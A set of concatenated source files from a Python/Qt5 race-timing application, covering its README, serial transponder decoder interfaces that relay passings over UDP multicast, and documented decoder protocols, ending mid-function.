= NULL; #if PY_MAJOR_VERSION < 3 if (PyInt_Check(x) || PyLong_Check(x)) #else if (PyLong_Check(x)) #endif return __Pyx_NewRef(x); #if CYTHON_USE_TYPE_SLOTS m = Py_TYPE(x)->tp_as_number; #if PY_MAJOR_VERSION < 3 if (m && m->nb_int) { name = "int"; res = PyNumber_Int(x); } else if (m && m->nb_long) { name = "long"; res = PyNumber_Long(x); } #else if (m && m->nb_int) { name = "int"; res = PyNumber_Long(x); } #endif #else res = PyNumber_Int(x); #endif if (res) { #if PY_MAJOR_VERSION < 3 if (!PyInt_Check(res) && !PyLong_Check(res)) { #else if (!PyLong_Check(res)) { #endif PyErr_Format(PyExc_TypeError, "__%.4s__ returned non-%.4s (type %.200s)", name, name, Py_TYPE(res)->tp_name); Py_DECREF(res); return NULL; } } else if (!PyErr_Occurred()) { PyErr_SetString(PyExc_TypeError, "an integer is required"); } return res; } static CYTHON_INLINE Py_ssize_t __Pyx_PyIndex_AsSsize_t(PyObject* b) { Py_ssize_t ival; PyObject *x; #if PY_MAJOR_VERSION < 3 if (likely(PyInt_CheckExact(b))) { if (sizeof(Py_ssize_t) >= sizeof(long)) return PyInt_AS_LONG(b); else return PyInt_AsSsize_t(x); } #endif if (likely(PyLong_CheckExact(b))) { #if CYTHON_USE_PYLONG_INTERNALS const digit* digits = ((PyLongObject*)b)->ob_digit; const Py_ssize_t size = Py_SIZE(b); if (likely(__Pyx_sst_abs(size) <= 1)) { ival = likely(size) ? digits[0] : 0; if (size == -1) ival = -ival; return ival; } else { switch (size) { case 2: if (8 * sizeof(Py_ssize_t) > 2 * PyLong_SHIFT) { return (Py_ssize_t) (((((size_t)digits[1]) << PyLong_SHIFT) | (size_t)digits[0])); } break; case -2: if (8 * sizeof(Py_ssize_t) > 2 * PyLong_SHIFT) { return -(Py_ssize_t) (((((size_t)digits[1]) << PyLong_SHIFT) | (size_t)digits[0])); } break; case 3: if (8 * sizeof(Py_ssize_t) > 3 * PyLong_SHIFT) { return (Py_ssize_t) (((((((size_t)digits[2]) << PyLong_SHIFT) | (size_t)digits[1]) << PyLong_SHIFT) | (size_t)digits[0])); } break; case -3: if (8 * sizeof(Py_ssize_t) > 3 * PyLong_SHIFT) { return -(Py_ssize_t) (((((((size_t)digits[2]) << PyLong_SHIFT) | (size_t)digits[1]) << PyLong_SHIFT) | (size_t)digits[0])); } break; case 4: if (8 * sizeof(Py_ssize_t) > 4 * PyLong_SHIFT) { return (Py_ssize_t) (((((((((size_t)digits[3]) << PyLong_SHIFT) | (size_t)digits[2]) << PyLong_SHIFT) | (size_t)digits[1]) << PyLong_SHIFT) | (size_t)digits[0])); } break; case -4: if (8 * sizeof(Py_ssize_t) > 4 * PyLong_SHIFT) { return -(Py_ssize_t) (((((((((size_t)digits[3]) << PyLong_SHIFT) | (size_t)digits[2]) << PyLong_SHIFT) | (size_t)digits[1]) << PyLong_SHIFT) | (size_t)digits[0])); } break; } } #endif return PyLong_AsSsize_t(b); } x = PyNumber_Index(b); if (!x) return -1; ival = PyInt_AsSsize_t(x); Py_DECREF(x); return ival; } static CYTHON_INLINE PyObject * __Pyx_PyInt_FromSize_t(size_t ival) { return PyInt_FromSize_t(ival); } #endif /* Py_PYTHON_H */ <file_sep>/README.md # Chrono $VERS: 0.1alpha Software to race timing wrtiten in Python/Qt5 For Windows install: You must install Python3 <BR> <a href="https://www.python.org/downloads/windows/"> Python 3 Download </a> <BR> MysqlServer <BR> <a href="https://dev.mysql.com/downloads/installer/"> MysqlServer Download </a> <BR> then install all the Python stuff with the install.bat script <I> <BR> pip3 install PyQt5 <BR> pip3 install pySerial <BR> pip3 install mysqlclient pymysql <BR> echo "import pymysql" > manage.py <BR> echo "pymysql.install_as_MySQLdb()" >> manage.py <BR> pip3 install queuelib <BR> </I> For Linux, you have to install Python3, Qt5 and mysql database <BR> On the MySql server, you have to add a user "Chrono", password "<PASSWORD>" with dba right. <BR> Then execute the sql script to create the table and fill it with some datas: <BR> schema.sql this create the tables <BR> iso_pays.sql fill the T_Pays tables with iso Country code <BR> CodepostaleSuisse.sql fill the zip/city table ( actually only CH ) <BR> all this file are mandarory ! <BR> the test_data.sql are some data to test..... Actually it as been tested to run on Debian Linux, Windows 10 and MacOS. on the command line, you may specify the style: Python3 . -style Fusion <BR> Thor <BR> For the decoder and transponder watch this link: <BR> <a href="https://www.rctech.net/forum/radio-electronics/1002584-rchourglass-diy-lap-timing-aka-cano-revised-11.html"> RCHourglass Transponder </a> <BR> and the repository for the software and schematic: <BR> <a href="https://github.com/mv4wd/RCHourglass">mv4wd Decoder / Transponder</a> <file_sep>/decoder/cano.py #!/usr/bin/python ###################################################################################### # (c) <NAME>, <EMAIL>, mars 2018 # ###################################################################################### # Decoder interface class to be dinamicaly loaded # # main entry point is member function createThread( self, storage, pref,name ) # # Input: # # storage: Dictionary with all the needed infos # # multi_ip multicast ip # # port the assigned port # # pref: The preferences Dict ( all the settings ) # # name: the class name # # # # Return the task pointer # # the class must be decoder, and not the filename ! # # # ###################################################################################### # interface to the cano decoder, standard mode # # on the preference must provide: # # device = serial device name ( Unix = /dev/tty....; Win = COMx ) # # baud = baud rate ( default: 115200 ) # # # ###################################################################################### from threading import Thread import socket import struct import serial class decoder(): task = dict([]) def createThread(self,d, decoder, name): p = Thread( target=self.decoder, args=(decoder['device'], decoder['baud'], d['multi_ip'], d['port'])) return p def decoder(self, device, baud, ip, port): theSer = serial.Serial( device, baud) if not theSer.is_open: print( "ERROR Opening: ") print( device) print("\n") exit( -2) multicast_group = (ip,port) sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) sock.settimeout(0.1) ttl = struct.pack('b', 10) sock.setsockopt(socket.IPPROTO_IP, socket.IP_MULTICAST_TTL, ttl) theSer.write('VERSION\r\n'.encode()) theSer.write('CANO MODE\r\n'.encode()) while(1): line = theSer.readline() if len(line)==(16): tp = int( line[0:5] , 16 ) millis = int( line[6:] , 16 ) try: message = str(tp) +" " + str( millis ) sock.sendto(message.encode(), multicast_group) except socket.timeout: print("exception on send multicast") finally: message="" else: print( line ) print( len( line )) print( "\n") exit(0) <file_sep>/receive.py #!/usr/bin/python3 . ###################################################################################### # (c) <NAME>, <EMAIL>, mars 2018 # ###################################################################################### # # Will send the data on the queues # from threading import Thread from queue import Queue from time import time import socket import struct import Globals class tpEvent( ) : pos = None tp = None millis = None tc = None type = None def __init__(self, _tp, _time, _type, _tc, _pos): self.pos = _pos self.tp = _tp self.millis = _time self.tc = _tc self.type = _type class receive: soc_ip = "192.168.127.12" basems = 0 def __init__(self, name): port = Globals.decoder[ name ]['port'] try: d = Globals.receiver[ name ] print( "Allready Open, Sorry(%s:%d)"%(name, port)) return except: d = dict() d['ip'] = self.soc_ip d['port'] = port d['queue'] = dict() d['queue']['monitor'] = Queue(maxsize=0) p = Thread( target=self.receive_task, args=( d['ip'], d['port'], d['queue'], Globals.decoder[ name ]['preferences']['type'] ) ) d['pid'] = p Globals.receiver[name] = d p.setDaemon(True) p.start() def receive_task(self, ip, port, queues, type): server_address = ('', port) # Create the socket sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) # Bind to the server address sock.bind(server_address) # Tell the operating system to add the socket to the multicast group # on all interfaces. group = socket.inet_aton( ip ) mreq = struct.pack('4sL', group, socket.INADDR_ANY) sock.setsockopt(socket.IPPROTO_IP, socket.IP_ADD_MEMBERSHIP, mreq) tplist = {} # Receive/respond loop while True: data, address = sock.recvfrom(1024) data = data.decode() if self.basems == 0: self.basems = int(time()*1000) - int( data[data.find(" "):]) tp = int( data[:data.find(" ")]) millis = int( data[data.find(" "):]) lap = 0 rt = " Record " event = tpEvent( tp, millis + self.basems, type, millis, port ) for q in queues: queues[q].put( event ) try: if tp in tplist: lap = millis - tplist[tp][0] tplist[tp][0] = millis if lap < tplist[tp][1]: tplist[tp][1] = lap rt = "New Record!" else: tplist.setdefault(tp, []) tplist[tp].append( millis ) tplist[tp].append( 123456789 ) except Exception as e: print("got an exception") print( e ) finally: if False: print ("transponder id: {: 10d}".format( tp ) +", timecode {: 20d}".format( millis ) +", lap time = "+ Globals.createTime( lap ) + " -> "+rt+" " +Globals.createTime( tplist[tp][1]) ) <file_sep>/__main__.py #!/usr/bin/python3 . ###################################################################################### # (c) <NAME>, <EMAIL>, mars 2018 # ###################################################################################### to_compiled = False import sys from PyQt5.QtGui import QIcon, QPixmap from PyQt5.QtWidgets import QApplication, QStyleFactory from PyQt5.QtCore import QSize, QRect if not to_compiled: import Globals from gui.MainWindow import MainWindow from decoder_task import decoder_task from receive import receive from Preferences import Preferences as pref def main(): app = QApplication(sys.argv) if "Oxygen" in QStyleFactory.keys(): app.setStyle( QStyleFactory.create("Oxygen") ) # try to set the Oxygen style elif "Fusion" in QStyleFactory.keys(): # if not the try Fusion app.setStyle( QStyleFactory.create("Fusion") ) Globals.icons["finish flag"].addPixmap( QPixmap("Ressources/icons/finish_flag.png"), QIcon.Disabled, QIcon.On) Globals.MainWindow = MainWindow() Globals.Screen = app.primaryScreen() taille = Globals.Screen.size() height = taille.height() width = taille.width() if False: Globals.MainWindow.setMaximumSize( taille ) Globals.MainWindow.resize( height, width ) Globals.MainWindow.Tab_Container.setMaximumSize(QSize( height , width - 40)) Globals.MainWindow.Tab_Container.setGeometry( QRect(0, 0, height, width - 40)) Globals.MainWindow.main() # Init Decoder interface for dec in pref.decoderList: print ( dec ) if pref.decoderList[ dec ]['active']: decoder_task( pref.decoderList[dec], dec ) for task in Globals.decoder: receive( task ) app.exec_() if __name__=='__main__': main() <file_sep>/decoder/Tag_CP540.py #!/usr/bin/python ###################################################################################### # (c) <NAME>, <EMAIL>, mars 2018 # ###################################################################################### # Decoder interface class to be dinamicaly loaded # # main entry point is member function createThread( self, storage, pref,name ) # # Input: # # storage: Dictionary with all the needed infos # # multi_ip multicast ip # # port the assigned port # # pref: The preferences Dict ( all the settings ) # # name: the class name # # # # Return the task pointer # # the class must be decoder, and not the filename ! # # # ###################################################################################### # Tag Heuer CP520 # # on the preference must provide: # # device = serial device name ( Unix = /dev/tty....; Win = COMx ) # # baud = baud rate ( default: 2400,9600,38400,57600 ) # # # ###################################################################################### from threading import Thread #from crccheck.crc import Crcc16Mcrf4xx as crc16 # use crc16.calc( bytearray( [data].encode() ) ) import socket import struct import serial # Command Definition TAB = chr( 0x09 ) # Tabulate character CRLF = chr( 0x0D ) + chr( 0x0A ) # EndLine ( /r/n ) cmd_CP2PC = {} test_passing = "<STA 006141 00:02'57\"541 38 07 0 1569>" class passing(): def __init__(self, data = ""): self.telegram = data try: if data[0:1] == '<': self.loop_ID = data[1:4] self.tp = int( data[5:11] ) self.hours = int( data[12:14] ) self.minutes = int( data[15:17] ) self.seconds = int( data[18:20] ) self.millis = int( data[21:24] ) self.power = int( data[25:27] ) self.loopcout = int( data[28:30] ) self.btpower = int( data[31:32] ) self.checksum = int( data[33:37] ) byte = bytearray( data[1:33].encode() ) compute = 0 for i in range(0,32): compute += byte[i] if compute == self.checksum: self.valid = True else: self.valid = False else: self.valid = False except Exception as e: print( e ) self.valid = False class decoder(): task = dict([]) def createThread(self,d, decoder, name): p = Thread( target=self.decoder, args=(decoder['device'], decoder['baud'], d['multi_ip'], d['port'])) return p def decoder(self, device, baud, ip, port): theSer = serial.Serial( device, baud) if not theSer.is_open: print( "ERROR Opening: ") print( device) print("\n") exit( -2) multicast_group = (ip,port) sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) sock.settimeout(0.1) ttl = struct.pack('b', 10) sock.setsockopt(socket.IPPROTO_IP, socket.IP_MULTICAST_TTL, ttl) theSer.write('VERSION\r\n'.encode()) theSer.write('CANO MODE\r\n'.encode()) while(1): line = theSer.readline() if len(line)==(16): tp = int( line[0:5] , 16 ) millis = int( line[6:] , 16 ) try: message = str(tp) +" " + str( millis ) sock.sendto(message.encode(), multicast_group) except socket.timeout: print("exception on send multicast") finally: message="" else: print( line ) print( len( line )) print( "\n") exit(0) # Command Definition (Send CP540 to PC ) def sendAcknowledge( self, status ): if status: self.sendCmd( "AK C" ) else: self.sendCmd( "AK F" ) def sendIdent( self, ident ): self.sendCmd( "ID %5.5d"%ident ) def sendOpenRun( self, run, added, timming ): self.sendCmd( "OP %2.2d T%2.2d %19.19s"%(run, added, timming) ) def sendCloseRun( self, run ): self.sendCmd( "CL %2.2d"%(run) ) def sendRunStart( self, run, added, timming ): self.sendCmd( "DS %2.2d T%2.2d %19.19s"%(run, added, timming) ) def sendRunEnd( self, run ): self.sendCmd( "DE %2.2d"%(run) ) def sendNewTime( self, cid, seq, channel, hrs, mins, secs, fracs, days ): if channel not in ('M1', 'M2', 'M3', 'M4'): try: channel = "%2.2d"%channel except: channel = 'M1' self.sendCmd( "TN %4.4d %4.4d %2.2s %2.2d:%2.2d:%2.2d.%5.5d %5.5d"% (cid, seq, channel, hrs, mins, secs, fracs, days) ) def sendUnassingedTime( self, cid, seq, channel, hrs, mins, secs, fracs, days ): if channel not in ('M1', 'M2', 'M3', 'M4'): try: channel = "%2.2d"%channel except: channel = 'M1' self.sendCmd( "T- %4.4d %4.4d %2.2s %2.2d:%2.2d:%2.2d.%5.5d %5.5d"% (cid, seq, channel, hrs, mins, secs, fracs, days) ) def sendReindentTime( self, cid, seq, channel, hrs, mins, secs, fracs, days ): if channel not in ('M1', 'M2', 'M3', 'M4'): try: channel = "%2.2d"%channel except: channel = 'M1' self.sendCmd( "T* %4.4d %4.4d %2.2s %2.2d:%2.2d:%2.2d.%5.5d %5.5d"% (cid, seq, channel, hrs, mins, secs, fracs, days) ) def sendManualTime( self, cid, seq, channel, hrs, mins, secs, fracs, days ): if channel not in ('M1', 'M2', 'M3', 'M4'): try: channel = "%2.2d"%channel except: channel = 'M1' self.sendCmd( "T+ %4.4d %4.4d %2.2s %2.2d:%2.2d:%2.2d.%5.5d %5.5d"% (cid, seq, channel, hrs, mins, secs, fracs, days) ) def sendDuplicateTime( self, cid, seq, channel, hrs, mins, secs, fracs, days ): if channel not in ('M1', 'M2', 'M3', 'M4'): try: channel = "%2.2d"%channel except: channel = 'M1' self.sendCmd( "T= %4.4d %4.4d %2.2s %2.2d:%2.2d:%2.2d.%5.5d %5.5d"% (cid, seq, channel, hrs, mins, secs, fracs, days) ) def sendCancelTime( self, cid, seq, channel, hrs, mins, secs, fracs, days ): if channel not in ('M1', 'M2', 'M3', 'M4'): try: channel = "%2.2d"%channel except: channel = 'M1' self.sendCmd( "TC %4.4d %4.4d %2.2s %2.2d:%2.2d:%2.2d.%5.5d %5.5d"% (cid, seq, channel, hrs, mins, secs, fracs, days) ) def sendItermediateResult( self, iid, cid, hrs, mins, secs, fracs ): self.sendCmd( "IR %1.1d %4.4d %2.2d:%2.2d:%2.2d.%5.5d"% (iid, cid, hrs, mins, secs, fracs) ) def sendDifferentialResult( self, winner, looser, hrs, mins, secs, fracs ): self.sendCmd( "DR %4.4d %4.4d %2.2d:%2.2d:%2.2d.%5.5d"% (winner, looser, hrs, mins, secs, fracs) ) def sendRunResult( self, ranq, cid, hrs, mins, secs, fracs ): self.sendCmd( "RR %4.4d %4.4d %2.2d:%2.2d:%2.2d.%5.5d"% (ranq, cid, hrs, mins, secs, fracs) ) def sendAddResult( self, ranq, cid, hrs, mins, secs, fracs ): self.sendCmd( "GR %4.4d %4.4d %2.2d:%2.2d:%2.2d.%5.5d"% (ranq, cid, hrs, mins, secs, fracs) ) def sendSpeed( self, snum, cid, speed, unit ): self.sendCmd( "VE %1.1d %4.4d %3.3f %7.7s"% (snum, cid, speed, unit ) ) def sendRecallOriginal( self, cid, seq, channel, hrs, mins, secs, fracs, days ): if channel not in ('M1', 'M2', 'M3', 'M4'): try: channel = "%2.2d"%channel except: channel = 'M1' self.sendCmd( "AN %4.4d %4.4d %2.2s %2.2d:%2.2d:%2.2d.%5.5d %5.5d"% (cid, seq, channel, hrs, mins, secs, fracs, days) ) def sendRecallDeidentified( self, cid, seq, channel, hrs, mins, secs, fracs, days ): if channel not in ('M1', 'M2', 'M3', 'M4'): try: channel = "%2.2d"%channel except: channel = 'M1' self.sendCmd( "A- %4.4d %4.4d %2.2s %2.2d:%2.2d:%2.2d.%5.5d %5.5d"% (cid, seq, channel, hrs, mins, secs, fracs, days) ) def sendRecallReindentified( self, cid, seq, channel, hrs, mins, secs, fracs, days ): if channel not in ('M1', 'M2', 'M3', 'M4'): try: channel = "%2.2d"%channel except: channel = 'M1' self.sendCmd( "A* %4.4d %4.4d %2.2s %2.2d:%2.2d:%2.2d.%5.5d %5.5d"% (cid, seq, channel, hrs, mins, secs, fracs, days) ) def sendRecallManual( self, cid, seq, channel, hrs, mins, secs, fracs, days ): if channel not in ('M1', 'M2', 'M3', 'M4'): try: channel = "%2.2d"%channel except: channel = 'M1' self.sendCmd( "A+ %4.4d %4.4d %2.2s %2.2d:%2.2d:%2.2d.%5.5d %5.5d"% (cid, seq, channel, hrs, mins, secs, fracs, days) ) def sendRecallDuplicate( self, cid, seq, channel, hrs, mins, secs, fracs, days ): if channel not in ('M1', 'M2', 'M3', 'M4'): try: channel = "%2.2d"%channel except: channel = 'M1' self.sendCmd( "A= %4.4d %4.4d %2.2s %2.2d:%2.2d:%2.2d.%5.5d %5.5d"% (cid, seq, channel, hrs, mins, secs, fracs, days) ) def sendRecallCancel( self, cid, seq, channel, hrs, mins, secs, fracs, days ): if channel not in ('M1', 'M2', 'M3', 'M4'): try: channel = "%2.2d"%channel except: channel = 'M1' self.sendCmd( "AC %4.4d %4.4d %2.2s %2.2d:%2.2d:%2.2d.%5.5d %5.5d"% (cid, seq, channel, hrs, mins, secs, fracs, days) ) def sendRequestID( self ): self.sendCmd( "#ID" ) def sendPrintLine( self, text ): self.sendCmd( "#PL %24.24s"% (text) ) def sendDownload( self, run): self.sendCmd( "#DL %2.2d"% (run) ) def sendRecallTime( self, seq, channel): self.sendCmd( "#RT %4.4d %2.2d"% (seq, channel) ) def sendDeleteStartList( self): self.sendCmd( "#SLR" ) def sendAdd2StartList( self, cid): self.sendCmd( "#SLA %4.4d"% ( cid ) ) def sendCloseStartList( self ): self.sendCmd( "#SLC" ) def sendCmd( self, command): sum = 0 for i in bytearray( command.encode()): sum += i sum = sum % 65536 print( "%s%s%d%s"%(command, TAB, sum, CRLF ) ) def receiveResponse( self, timeout = 0 ): #TODO: print( timeout ) return '' <file_sep>/decoder/tagV3.py #!/usr/bin/python ###################################################################################### # (c) <NAME>, <EMAIL>, mars 2018 # ###################################################################################### # Decoder interface class to be dinamicaly loaded # # main entry point is member function createThread( self, storage, pref,name ) # # Input: # # storage: Dictionary with all the needed infos # # multi_ip multicast ip # # port the assigned port # # pref: The preferences Dict ( all the settings ) # # name: the class name # # # # Return the task pointer # # the class must be decoder, and not the filename ! # # # ###################################################################################### # Chronelec Protime Elite Decoder / Chronelec - V3 Protocol # # on the preference must provide: # # device = serial device name ( Unix = /dev/tty....; Win = COMx ) # # baud = baud rate ( default: 115200 ) # # # ###################################################################################### # On transponder read, cell or manual trigger, decoder sends PASSING # message. Host must reply with ACK to get next passing. If no # acknowledge sent, passing is repeated periodically. # # Commands # -------- # # Get Status: # Request running time, noise and level status from decoder # command: ESC + 0x05 # response: [STATUS] # Start: # Start decoder # command: ESC + 0x07 # response: [DEPART] or none if decoder already started # # Set Config: # Update decoder configuration # command: ESC + 0x08 + 0x08 + [CONFIG] + [CRC] + '>' # response: none # # Set IP Config: # Update decoder IP configuration. Note: Decoder must be stopped # before issuing this command (why?) # command: ESC + 0x09 + 0x09 + [IPCONFIG] + [CRC] + '>' # response: XPORT specific (TBC) # # Get Config: # Fetch current decoder configuration & identification # command: ESC + 0x10 # response: [DECODERCONF] # # Acknowledge: # Acknowledge last passing sent by decoder/flag ready for next passing # command: ESC + 0x11 # response: none or [PASSING] # # Repeat: # Repeat first unacknowledged passing, else last acknowledged passing # command: ESC + 0x12 # response: [PASSING] # # Stop: # Stop decoder # command: ESC + 0x13 + '\' # response: [STOP] (even if already stopped) # # Set Time: # Update decoder time of day - also sets running time if decoder # started and config option "Running time to time of decoder" set # command: ESC + 0x48 + [SETTIME] + 't' # response: none # # Set Date: # Update decoder date # command: ESC + 0x0a + 0x0a + [SETDATE] + [CRC] + '>' # response: none # # Set STA Level: # Set detection level on STA channel # command: ESC + 0x1e + [SETLEVEL] # response: none # # Set BOX Level: # Set Detection level on BOX channel # command: ESC + 0x1f + [SETLEVEL] # response: none # # Stat BXX: # Request status on remote decoder with id specified in B # command: ESC + 0x49 + [B] # response: (TBC) # # BXX Level: # Increment all detection levels by 0x10 (Note 2) # command: ESC + 0x4e + 0x2b # response: none # # # Messages # -------- # # PASSING: '<' + ' ' + CHAN + ' ' + REFID + ' ' + PASSTIME + ' ' # + POWER + ' ' + PASSCOUNT + ' ' # + BATTERY + ' ' + CHARSUM + '>' + [NEWLINE] # # CHAN: 'MAN'|'BOX'|'STA'... # REFID: '000000'->'999999' six digits, left zero pad # PASSTIME: 'hh:mm'ss"dcm' left zero pad # POWER: '00'->'99' passing power # PASSCOUNT: '00'->'01' count of times in loop (question?) # BATTERY: '0'|'1'|'2'|'3' 0/high -> 3/low # CHARSUM: '0000'->'8192' sum of bytes from offset 1-32 # # STATUS: '[' + 'hh:mm'ss"' + ' ' + 'NS' + ' ' + 'NB' # + ' ' + 'LS' + ' ' + 'LB' + ']' + [NEWLINE] # hh: hour eg 03 # mm: minute eg 59 # ss: second eg 31 # Noise: NS (STA) and NB (BOX) '00' -> '99' # Levels: LS (STA) and LB (BOX) '00' -> '99' # Note: time reported is running time, and will # be 00:00'00" when decoder is stopped. # # DEPART: 'DEPART_' + [DATESTR] + '__' + [TODSTR] + [NEWLINE] # # STOP: 'STOP_' + [DATESTR] + '__' + [TODSTR] + [NEWLINE] # # DATESTR: 'YYYY-MM-DD' # YYYY: year eg 2012 # MM: month eg 02 # DD: day of month eg 12 # # TODSTR: 'hh:mm:ss' # hh: hour eg 03 # mm: minute eg 59 # ss: second eg 31 # # ESC: 0x1b # NACK: 0x07 # CRC: CRC-16/MCRF4XX on bytes following ESC (Note 1) # B: '1'|'2'|'3'...'7' (0x30 + id) # SETLEVEL: level as two ascii chars eg: 45 => '4' + '5' or 0x34 + 0x35 # SETTIME: h + m + s # eg: 21h03:45 => 0x15 0x03 0x2d # SETDATE: D + M + Y (Y == year - 2000) # eg: 23/05/12 => 0x17 0x05 0x0c # DECODERCONF: '+' + '+' + '+' + [CONFIG] + [LEVELS] + [IPCONFIG] # + [IDENT] + [VERSION] + '>' + [NEWLINE] # # NEWLINE: CR + LF # CR: 0x0d # LF: 0x0a # # LEVELS (2 bytes): # 0 STA level 30 => 0x30 # 1 BOX level " # # IDENT (4 bytes): # 0-3 '0129' => 0x00 + 0x01 + 0x02 + 0x09 # # VERSION (4 bytes): (TBC) # 0 0x13 ? # 1-3 '201' version string? # # CONFIG (27 bytes): # offset option values # 0 Time of day 0x00=>runtime, 0x01=>timeofday # 1 GPS Sync 0x00=>off, 0x01=>on # 2 Time Zone Hour 0x10=>10h, 0x09=>9h # 3 Time Zone Min 0x00=>:00, 0x30=>:30 # 4 Distant 232/485 select 0x00=>232, 0x01=>485 (check) # 5 Distant Fibre Optic 0x00=>no, 0x01=>yes # 6 Print pass on serial 0x00=>no, 0x01=>yes # 7 Detect maximum 0x00=>no, 0x01=>yes # 8 Protocol 0x00=>Cv3,0x01=>AMB,0x02=>Cv2 # 9 Generate sync 0x00=>no, 0x01=>yes # 10 Sync interval min 0x01=>1min, ... , 0x99=>99min # 11 Sync ToD on CELL 0x00=>off, 0x01=>on # 12 Sync Time hours 0x00=>0h, ... , 0x23=>23h (Question Function?) # 13 Sync Time min 0x00=>:00, ... , 0x59=>:59 # 14 Active Loop 0x00=>passive, 0x01=>powered (active) # 15,16 STA Tone 0x12,0x34=>1234Hz 0x00,0x00=>no tone # 17,18 BOX Tone " # 19,20 MAN Tone " # 21,22 CEL Tone " # 23,24 BXX Tone " # 25,26 STA+BOX Levels eg 0x45,0x92 => 45,92 (note 2) # # IPCONFIG (16 bytes): # # 0-3 IP Address, net order eg: 192.168.95.252 => 0xc0 + 0xa8 + 0x5f + 0xfc # 4-7 Netmask, " # 8-11 Gateway, " # 12-15 Remote host, " # # NOTES: # # 1. CRC is computed with the following parameters: # model: crc-16 # poly: 0x1021 # init: 0xffff # reflect-in: yes # reflect-out: yes # xor-out: 0x0000 # # 2. Detection level appears to be stored or manipulated # as byte, but displayed as decimal equivalent of hex string. # When incrementing with command BXX Level, STA is wrapped to # zero when STA level is > 0x99. BOX level will increment # > 0x90 all the way to 0xff as long as STA is < 0xa0. # Side effects of this have not been tested. # from threading import Thread from crccheck.crc import Crcc16Mcrf4xx as crc16 # use crc16.calc( bytearray( [data].encode() ) ) import socket import struct import serial # Command Definition ESC = chr( 27 ) # escape character cmd = {} # Get Status: # Request running time, noise and level status from decoder # command: ESC + 0x05 cmd['Status'] = ESC + '\x05' # response: [STATUS] # Start: # Start decoder # command: ESC + 0x07 cmd['Start'] = ESC + '\x07' # response: [DEPART] or none if decoder already started # # Set Config: # Update decoder configuration # command: ESC + 0x08 + 0x08 + [CONFIG] + [CRC] + '>' # response: none cmd['Set Config'] = ESC + '\x08\x08%s%s>' # Set IP Config: # Update decoder IP configuration. Note: Decoder must be stopped # before issuing this command (why?) # command: ESC + 0x09 + 0x09 + [IPCONFIG] + [CRC] + '>' cmd['Set IP Config'] = ESC + '\x09\x09%s%s>' # response: XPORT specific (TBC) # Get Config: # Fetch current decoder configuration & identification # command: ESC + 0x10 cmd['Get Config'] = ESC + '\x10' # response: [DECODERCONF] # # Acknowledge: # Acknowledge last passing sent by decoder/flag ready for next passing # command: ESC + 0x11 cmd['Acknowledge'] = ESC + '\x11' # response: none or [PASSING] # # Repeat: # Repeat first unacknowledged passing, else last acknowledged passing # command: ESC + 0x12 cmd['Repeat'] = ESC + '\x12' # response: [PASSING] # # Stop: # Stop decoder # command: ESC + 0x13 + '\' cmd['Stop'] = ESC + '\x013' # response: [STOP] (even if already stopped) # # Set Time: # Update decoder time of day - also sets running time if decoder # started and config option "Running time to time of decoder" set # command: ESC + 0x48 + [SETTIME] + 't' cmd['Start'] = ESC + '\x48%st' # response: none # # Set Date: # Update decoder date # command: ESC + 0x0a + 0x0a + [SETDATE] + [CRC] + '>' cmd['Set Date'] = ESC + '\x0a\x0a%s%s>' # response: none # # Set STA Level: # Set detection level on STA channel # command: ESC + 0x1e + [SETLEVEL] cmd['Set STA Level'] = ESC + '\x1e%s>' # response: none # # Set BOX Level: # Set Detection level on BOX channel # command: ESC + 0x1f + [SETLEVEL] cmd['Set BOX Level'] = ESC + '\x1f%s>' # response: none # # Stat BXX: # Request status on remote decoder with id specified in B # command: ESC + 0x49 + [B] cmd['Stat BXX'] = ESC + '\x49%s>' # response: (TBC) # # BXX Level: # Increment all detection levels by 0x10 (Note 2) # command: ESC + 0x4e + 0x2b cmd['BXX Level'] = ESC + '\x4e\x2b>' # response: none test_passing = "<STA 006141 00:02'57\"541 38 07 0 1569>" class passing(): def __init__(self, data = ""): self.telegram = data try: if data[0:1] == '<': self.loop_ID = data[1:4] self.tp = int( data[5:11] ) self.hours = int( data[12:14] ) self.minutes = int( data[15:17] ) self.seconds = int( data[18:20] ) self.millis = int( data[21:24] ) self.power = int( data[25:27] ) self.loopcout = int( data[28:30] ) self.btpower = int( data[31:32] ) self.checksum = int( data[33:37] ) byte = bytearray( data[1:33].encode() ) compute = 0 for i in range(0,32): compute += byte[i] if compute == self.checksum: self.valid = True else: self.valid = False else: self.valid = False except Exception as e: print( e ) self.valid = False class decoder(): task = dict([]) def createThread(self,d, decoder, name): p = Thread( target=self.decoder, args=(decoder['device'], decoder['baud'], d['multi_ip'], d['port'])) return p def decoder(self, device, baud, ip, port): theSer = serial.Serial( device, baud) if not theSer.is_open: print( "ERROR Opening: ") print( device) print("\n") exit( -2) multicast_group = (ip,port) sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) sock.settimeout(0.1) ttl = struct.pack('b', 10) sock.setsockopt(socket.IPPROTO_IP, socket.IP_MULTICAST_TTL, ttl) theSer.write('VERSION\r\n'.encode()) theSer.write('CANO MODE\r\n'.encode()) while(1): line = theSer.readline() if len(line)==(16): tp = int( line[0:5] , 16 ) millis = int( line[6:] , 16 ) try: message = str(tp) +" " + str( millis ) sock.sendto(message.encode(), multicast_group) except socket.timeout: print("exception on send multicast") finally: message="" else: print( line ) print( len( line )) print( "\n") exit(0) # Command Definition def getStatus( self ): self.sendCmd( self.cmd['Status'] ) # response: [STATUS] def start( self ): self.sendCmd( self.cmd['Start'] ) # response: [DEPART] or none if decoder already started def setConfig( self , cfg ): # Update decoder configuration # command: ESC + 0x08 + 0x08 + [CONFIG] + [CRC] + '>' # response: none crc = crc16( bytearray( cfg.encode() ) ) self.sendCmd( self.cmd['Set Config']%(cfg, crc) ) def setIPConfig( self, cfg ): # Update decoder IP configuration. Note: Decoder must be stopped # before issuing this command (why?) # command: ESC + 0x09 + 0x09 + [IPCONFIG] + [CRC] + '>' crc = crc16( bytearray( cfg.encode() ) ) self.sendCmd( self.cmd['Set IP Config']%(cfg, crc) ) # response: XPORT specific (TBC) def getConfig( self ): # Fetch current decoder configuration & identification # command: ESC + 0x10 self.sendCmd( self.cmd['Get Config'] ) # response: [DECODERCONF] # def acknowledge( self ): # Acknowledge last passing sent by decoder/flag ready for next passing # command: ESC + 0x11 self.sendCmd( self.cmd['Acknowledge'] ) # response: none or [PASSING] # def repeat( self ): # Repeat first unacknowledged passing, else last acknowledged passing # command: ESC + 0x12 self.sendCmd( self.cmd['Repeat'] ) # response: [PASSING] # def stop( self ): # Stop decoder # command: ESC + 0x13 + '\' self.sendCmd( 